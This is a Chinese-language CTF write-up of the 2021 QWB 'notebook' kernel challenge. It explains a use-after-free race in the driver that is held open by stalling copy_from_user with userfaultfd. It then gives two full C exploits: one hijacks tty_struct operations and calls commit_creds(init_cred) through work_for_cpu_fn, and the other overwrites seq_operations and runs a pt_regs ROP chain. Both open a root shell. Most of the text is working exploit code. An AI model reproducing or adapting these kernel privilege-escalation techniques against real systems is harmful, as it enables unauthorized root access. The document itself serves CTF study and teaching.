【userfaultfd】2021强网杯notebook

程序分析

老规矩,看下启动脚本

开启了 smep、smap、kaslr 保护,当然 kvm64 默认开启 kpti 保护

文件系统初始化脚本

bash 复制代码
#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod notebook.ko
cat /proc/modules | grep notebook > /tmp/moduleaddr
chmod 777 /tmp/moduleaddr
chmod 777 /dev/notebook
echo "Welcome to QWB!"

#sh
setsid cttyhack setuidgid 1000 sh
#setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

一眼看到驱动模块 netobook.ko

mynote_ioctl 函数

该函数实现了堆块的增删改的功能(果然什么都逃不过屌丝菜单题的命运bushi) 简单说一下漏洞点

在 noteedit 函数中,会使用 krealloc 函数重新申请一个堆块,所以如果我们传入的新的 size 为0 或者比原来的大,则会将原来的堆块释放掉。

但是 noteedit 函数中存在一个问题,那就是其并没有直接将 krealloc 返回的堆块指针赋值给 notebook[idx]->ptr ,而是先把它赋值给了 v7,然后再用 copy_from_user 复制数据,最后再经过一些检查再将 v7 的值赋值到 notebook 中。当然这里最大的问题是上的是读锁,这就意味着其他拿读锁的函数可以跟这个函数并行,这也为我们后面的利用提供了可能。

mynote_read / mynote_write 函数

我们有读写堆块的能力,但是有大小限制。

漏洞利用

在 mynote_ioctl 函数中,当我们传入 newsize=0时(你也可以传入更大的值) 我们知道了一个逻辑:

1、先修改 size = newsize

2、释放原来的堆块(申请新的堆块,这里我们传入newsize=0,所以不会申请新的堆块)

3、调用 copy_from_user 复制数据

4、将新的指针赋值给 notebook[idx]->ptr

那这里很明显我们可以在第 3 步使用 userfaultfd 将其卡住,此时 notebook[idx]->ptr 还没有改变,但是其已经被释放了,所以这里就存在一个 UAF。

这里我们选择 tty_struct 去打,程序给了读写的能力,但是有 size 的检查,并且在第一步 size 已经被修改为了 newsize=0,所以这里检查过不了(有人说将newsize传一个大的值,但是这里检查的是 notebook[idx]->ptr 这个堆块的实际大小和 size 的大小关系,所以你还是通过不了检查)

那怎么办呢?

但是注意到 noteadd 函数:

其拿的是读锁,所以当 noteedit 用 userfaultfd 卡住时,其也能执行,但是这个很好的是,这个函数是先修改的 notebook[idx]->size、然后在用 copy_from_user 复制数据,然后再给 notebook[idx]->ptr 申请一个新的堆块,简而言之就是:

1、修改 notebook[idx]->size 为我们输入的 size

2、使用 copy_from_user 复制数据

3、kmalloc(size) 给 notebook[idx]->ptr

那么我们就可以利用这个函数去修复在 noteedit 中被破坏的 size,即用 userfaultfd 卡在第 2 步。

当然这里由于开启了 smap 保护,使用 tty_struct 的 ops 表也不能直接在用户空间伪造,但是题目直接给了一个 notegift 函数可以读出堆块的地址,所以直接把 ops 表伪造在一个堆块上就 ok 了。

当然如果题目没有给这个函数的话,可以考虑用 seq_operations 去打。

最后劫持 tty_struct 后直接用 work_for_cpu_fn,exp 如下:

cpp 复制代码
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define PTM_UNIX98_OPS 0xffffffff81e8e440
#define PTY_UNIX98_OPS 0xffffffff81e8e320
#define INIT_CRED 0xffffffff8225c940
#define COMMIT_CREDS 0xffffffff810a9b40
#define WORK_FOR_CPU_FN 0xffffffff8109eb90
#define PREPARE_KERNEL_CRED 0xffffffff810a9ef0

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
struct note {
        size_t idx;
        size_t size;
        char* buf;
};

void add(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x100, &n);
}

void dele(size_t idx)
{
        struct note n = { .idx = idx };
        ioctl(fd, 0x200, &n);
}

void edit(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x300, &n);
}

void gift(char* buf)
{
        struct note n = { .buf = buf };
        ioctl(fd, 0x64, &n);
}

void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

        uffdio_register.range.start = (unsigned long long)uffd_buf;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

        int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
        if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

char buf[0x30];
void handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                int res = poll(&pollfd, 1, -1);
                if (res == -1) err_exit("ERROR on poll");

                int n = read(uffd, &msg, sizeof(msg));
                if (n == 0) err_exit("EOF on read uffd");
                if (n == -1) err_exit("ERROR on read uffd");

                sleep(100);
                puts("userfault over");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");

                uffdio_copy.src = buf;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x20;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
        }
}

sem_t sem_edit, sem_add;

void evil_edit(void* args)
{
        sem_wait(&sem_edit);
        info("evil_edit for construct UAF");
        edit(0, 0, args);
}

void evil_add(void* args)
{
        sem_wait(&sem_add);
        info("evil_add for fix the size");
        add(0, 0x60, args);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);

        size_t buf[0x300];
        size_t tty_struct[0x300];
        size_t fake_ops[0x100];
        size_t fake_ops_addr;
        char* uffd_buf;
        int tty_fd;
        size_t kernel_offset;
        pthread_t moniter, pt_edit, pt_add;

        sem_init(&sem_edit, 0, 0);
        sem_init(&sem_add, 0, 0);

        fd = open("/dev/notebook", O_RDWR);
        add(0, 0x20, buf);
        edit(0, 0x2e0, buf);

        uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf, moniter, handler);

        pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
        pthread_create(&pt_add, NULL, evil_add, uffd_buf);

        sem_post(&sem_edit);
        sleep(2);
        sem_post(&sem_add);
        sleep(2);

        tty_fd = open("/dev/ptmx", O_RDWR);

        read(fd, tty_struct, 0);
        //read(fd, buf, 0);
        binary_dump("tty_struct", tty_struct, 0x60);

        if (*(int*)tty_struct != 0x5401) err_exit("No alloc tty_struct by UAF");

        kernel_offset = 0;
        if ((tty_struct[3]&0xfff) == (PTM_UNIX98_OPS&0xfff)) puts("PTM_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTM_UNIX98_OPS;
        else puts("PTY_UNIX98_OPS"), kernel_offset = tty_struct[3] - PTY_UNIX98_OPS;
        hexx("kernel_offset", kernel_offset);

        add(1, 0x20, buf);
        edit(1, 0x100, buf);

        gift(buf);
        fake_ops_addr = buf[2];
        binary_dump("object addr", buf, 0x20);
        hexx("fake_ops_addr", fake_ops_addr);

        memcpy(buf, tty_struct, 0x60);
        buf[3] = fake_ops_addr;
        buf[4] = COMMIT_CREDS + kernel_offset;
        buf[5] = INIT_CRED + kernel_offset;
        fake_ops[12] = WORK_FOR_CPU_FN + kernel_offset;

        binary_dump("fake_tty_struct", buf, 0x60);
        write(fd, buf, 0);

        binary_dump("fake_ops", fake_ops, 0x70);
        write(fd, fake_ops, 1);

        ioctl(tty_fd, 233, 233);
        write(fd, tty_struct, 0);
        pthread_cancel(pt_edit);
        pthread_cancel(pt_add);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

但是这里提权好像不是很稳定,最后 userfaultfd 卡的时间到了后,会有个 bug

希望有佬可以解释一些最后面出现的问题

当然就算题目没有给 notegitf 这个泄漏 object 地址的功能,我们也可以通过 seq_operations 直接打,exp 如下:

cpp 复制代码
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define SINGLE_START 0xffffffff8128c230
size_t pop_rdi = 0xffffffff81007115; // pop rdi ; ret
size_t add_rsp_xx = 0xFFFFFFFF8127CDB2l;
size_t swapgs_kpti = 0xFFFFFFFF81A00931;
size_t init_cred = 0xffffffff8225c940;
size_t commit_creds = 0xffffffff810a9b40;
size_t prepare_kernel_cred = 0xffffffff810a9ef0;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int fd;
struct note {
        size_t idx;
        size_t size;
        char* buf;
};

void add(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x100, &n);
}

void dele(size_t idx)
{
        struct note n = { .idx = idx };
        ioctl(fd, 0x200, &n);
}

void edit(size_t idx, size_t size, char* buf)
{
        struct note n = { .idx = idx, .size = size, .buf = buf };
        ioctl(fd, 0x300, &n);
}

void gift(char* buf)
{
        struct note n = { .buf = buf };
        ioctl(fd, 0x64, &n);
}

void register_userfaultfd(void* uffd_buf, pthread_t pthread_moniter, void* handler)
{
        int uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd == -1) err_exit("syscall for userfaultfd ERROR in register_userfaultfd func");

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) err_exit("ioctl for UFFDIO_API ERROR");

        uffdio_register.range.start = (unsigned long long)uffd_buf;
        uffdio_register.range.len = 0x1000;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) err_exit("ioctl for UFFDIO_REGISTER ERROR");

        int res = pthread_create(&pthread_moniter, NULL, handler, uffd);
        if (res == -1) err_exit("pthread_create ERROR in register_userfaultfd func");
}

char buf[0x30];
void handler(void* args)
{
        int uffd = (int)args;
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;

        for (;;)
        {
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                int res = poll(&pollfd, 1, -1);
                if (res == -1) err_exit("ERROR on poll");

                int n = read(uffd, &msg, sizeof(msg));
                if (n == 0) err_exit("EOF on read uffd");
                if (n == -1) err_exit("ERROR on read uffd");

                sleep(10000);
                puts("userfault over");
                if (msg.event != UFFD_EVENT_PAGEFAULT) err_exit("No correct EVENT");

                uffdio_copy.src = buf;
                uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(0x1000 - 1);
                uffdio_copy.len = 0x20;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) err_exit("ERROR in UFFDIO_COPY");
        }
}

sem_t sem_edit, sem_add;

void evil_edit(void* args)
{
        sem_wait(&sem_edit);
        info("evil_edit for construct UAF");
        edit(0, 0, args);
}

void evil_add(void* args)
{
        sem_wait(&sem_add);
        info("evil_add for fix the size");
        add(0, 0x20, args);
}

int seq_fd;
int main(int argc, char** argv, char** env)
{
        bind_core(0);

        size_t buf[0x300];
        char* uffd_buf;
        size_t kernel_offset;
        pthread_t moniter, pt_edit, pt_add;

        sem_init(&sem_edit, 0, 0);
        sem_init(&sem_add, 0, 0);

        fd = open("/dev/notebook", O_RDWR);
        add(0, 0x20, buf);

        uffd_buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        register_userfaultfd(uffd_buf, moniter, handler);

        pthread_create(&pt_edit, NULL, evil_edit, uffd_buf);
        pthread_create(&pt_add, NULL, evil_add, uffd_buf);

        sem_post(&sem_edit);
        sleep(2);
        sem_post(&sem_add);
        sleep(2);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("Failed to open /proc/self/stat");

        read(fd, buf, 0);
        binary_dump("seq_operations", buf, 0x20);
        kernel_offset = buf[0] - SINGLE_START;
        hexx("kernel_offset", kernel_offset);

        buf[0] = add_rsp_xx + kernel_offset;
        hexx("seq_operations->start", buf[0]);
        write(fd, buf, 0);

        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        asm volatile(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        "mov rbp, 0x55555555;"
        "mov rbx, 0x66666666;"
        "mov r11, 0x77777777;"
        "mov r10, 0x88888888;"
        "mov r9,  0x99999999;"
        "mov r8,  0xaaaaaaaa;"
        "xor rax, rax;"
        "mov rcx, 0xbbbbbbbb;"
        "mov rdx, 8;"
        "mov rsi, buf;"
        "mov rdi, seq_fd;"
        "syscall;"
        );

        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

上面两个脚本都可以成功提权:

相关推荐
XiaozaYa1 年前
【Page-level Heap Fengshui -- Cross-Cache Overflow】corCTF2022-cache-of-castaways
kernel-pwn
XiaozaYa1 年前
【setxattr+userfaultfd】SECCON2020-kstack
kernel-pwn